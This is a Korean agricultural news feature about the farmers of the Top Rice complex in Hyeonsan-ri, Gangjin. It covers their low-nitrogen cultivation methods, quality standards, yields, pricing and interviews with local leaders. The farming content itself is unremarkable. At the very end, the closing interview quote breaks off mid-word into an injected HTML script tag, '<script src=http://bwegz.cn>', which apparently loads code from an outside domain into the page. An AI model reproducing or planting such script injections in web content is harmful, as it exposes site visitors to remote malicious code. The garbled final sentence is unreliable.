▲ 고품질 쌀 생산을 위해서는 농가의 적극적인 참여가 무엇보다 중요하다.



고품질 쌀 생산은 이제는 선택이 아니라 필수다.

수입쌀과의 전쟁에서 우리 쌀을 지켜내기 위해서는 소비자의 입맛에 맞는 그래서 소비자 스스로자 다시 찾는 최고의 쌀을 생산해야 한다.

우리 쌀에 대한 자긍심과 소비자의 신뢰를 높이기 위해 한발 앞서 소비자가 정말로 믿을 수 있는 쌀 생산에 나서고 있는 전남 강진군 강진읍에 위치한 최고쌀(Top Rice) 현산단지를 찾았다.

# 최고 쌀의 자부심을 일군다

예로부터 우리나라 곡창지대로 알려진 전남 강진군 강진읍 현산리를 들어서자 가장 먼저 ‘최고쌀 생산단지’라 써 있는 10m 높이 상징탑이 눈에 띠었다.

우리나라에서 아니 세계에서 최고가는 쌀을 만들겠다는 농가들의 자부심과 의지가 느껴지는 상징물이다.

이곳 현산리 일대 73.4ha의 농지는 지난해 농촌진흥청이 수입쌀 시판을 앞두고 쌀의 경쟁력을 강화키 위해 야심차게 추진한 ‘쌀의 혁명 프로젝트’ 의 일환으로 선정된 최고 쌀(Top Rice) 생산단지 중 하나다.

이곳에서 생산되는 쌀은 ‘단백질 함량 6.5% 이하’, ‘완전미율 96% 이상’에 저농약, 친환경 농법으로 재배된다. 이정도면 가히 최고 쌀이라 불릴 만하다.

가격도 10kg 한포대에 4만3000원으로 시중 쌀보다 2배가량 높음에도 롯데백화범, 삼성플라자, 신세계백화점, 현대백화점, 농협 하나로마트 등에서 인기가 높다.

이 모두가 64명 회원농가의 피와 땀으로 일궈낸 결과다.

“수십년간 지어오던 농법을 버리고 새로 시작한다는 마음으로 농사를 지었다”고 말하는 김성수 단지 대표의 말처럼 회원농가들은 고품질 쌀 생산 첫해인 지난 한해 불안감과 희망이 교차했던 시기였다.

고품질 쌀을 생산해야 한다는 의식은 있었으나 제대로 시장에서 평가를 받을지, 수확량이 떨어지지나 않을지 하는 우려가 앞섰기 때문.

김 대표는 “예로부터 강진군은 1급수에 가까울 농업용수와 평야지대로 ‘죽어서도 시체가 무겁다’는 소문이 퍼질 정도로 밥맛이 좋기로 유명한 쌀 생산지였다”회상하고 “그럼에도 그동안 경기미에 비해 제대로 평가받지 못한 것도 사실”이라고 밝혔다.

그러나 이제는 강진쌀, 나아가서 호남미의 우수성과 우리 쌀의 우수성을 알릴 수 있게 됐다고 농가들은 믿고 있다.

# 최고의 생산 기반 조성에 한마음 한뜻

고품질 쌀을 생산키 위해 농가들이 가장 우선 착수한 것이 땅심 높이기다.

현산리 일대 토양이 마그네슘, 칼리, 유기길 함량은 매우 높은 반면 규산함량이 낮아 10a당 200kg의 규산질비료를 살포했다.

여기에 밥맛을 떨어뜨리는 질소비료의 시비량도 10a당 7kg 이하로 줄이기 위해 필지별로 처방서를 작성해 볏짚·퇴비·녹비작물 등을 뿌리는 한편 미질과 등숙 향상을 위해 키토산과 목초액으로 만든 기능성제제도 살포했다.

벼품종은 지역 환경에 가장 적합한 동진1호로 통일시키고 파종량도 10a당 4kg으로 줄였으며, 밑거름 살포도 관행농법의 3분의 1로 줄였다. 인근 공동육묘장을 이용해 공동육묘도 실시했다.

박관우 강진군농업기술센터 지도사는 “당시 거름을 적게주다 보니 모를 심고 한달이 지난도록 잎사이에 새로운 줄기가 나는 분얼이 안돼 새끼칠거름을 추가로 시비해야 한다고 농가들이 아우성이었다”며 “수량이 적을 경우 배상을 하라는 농가도 있었다”고 회상했다.

특히 농가들은 지난해 7월 중순이 가장 큰 고비였다. 유효경수가 평균 14~15개 밖에 안되자 이삭거름을 시비할까도 고민했으나 단백질 함량이 높아지면 밥맛이 떨어질 것으로 우려한 농가들은 과감히 시비를 생략했다.

그 결과 수량은 10a당 630kg으로 전년에 비해 10% 가량 감소했으나 그만큼 미질이 우수해 수확된 벼는 전량 수매됐으며, 벼 흰잎마름병 등 병해충 피해나 쓰러짐 현상도 보이지 않아 영농 작업비가 크게 감소했다.

수확작업도 단지내에 보유한 콤바인 농가를 대상으로 수확과정에서 다른 벼와 섞이지 않도록 날짜를 지정해 공동 작업토록 했다.

이처럼 피와 땀으로 수확된 벼는 곧바라 강진농협 미곡종합처리장으로 옮겨져 도정과정을 거쳐 완전미인 ‘탑 라이스’로 태어난다.

김 대표는 “첫 시도라 실패와 불안감도 많았지만 이제는 경쟁력을 가지기 위해서 고품질 쌀 생산이 얼마나 중요한지 어느정도 확신을 갖게 됐다”고 전했다.

# 최고쌀을 이끄는 사람들

<김성수 최고쌀 현산단지 대표(박산마을 이장)>

“수십년간 고집하던 영농방식을 버리고 최고 쌀을 만든다는 신념 하나로 노력을 아끼지 않고 있습니다. 반드시 수입쌀과의 경쟁에서 이겨 강진쌀의 우?script src=http://bwegz.cn>
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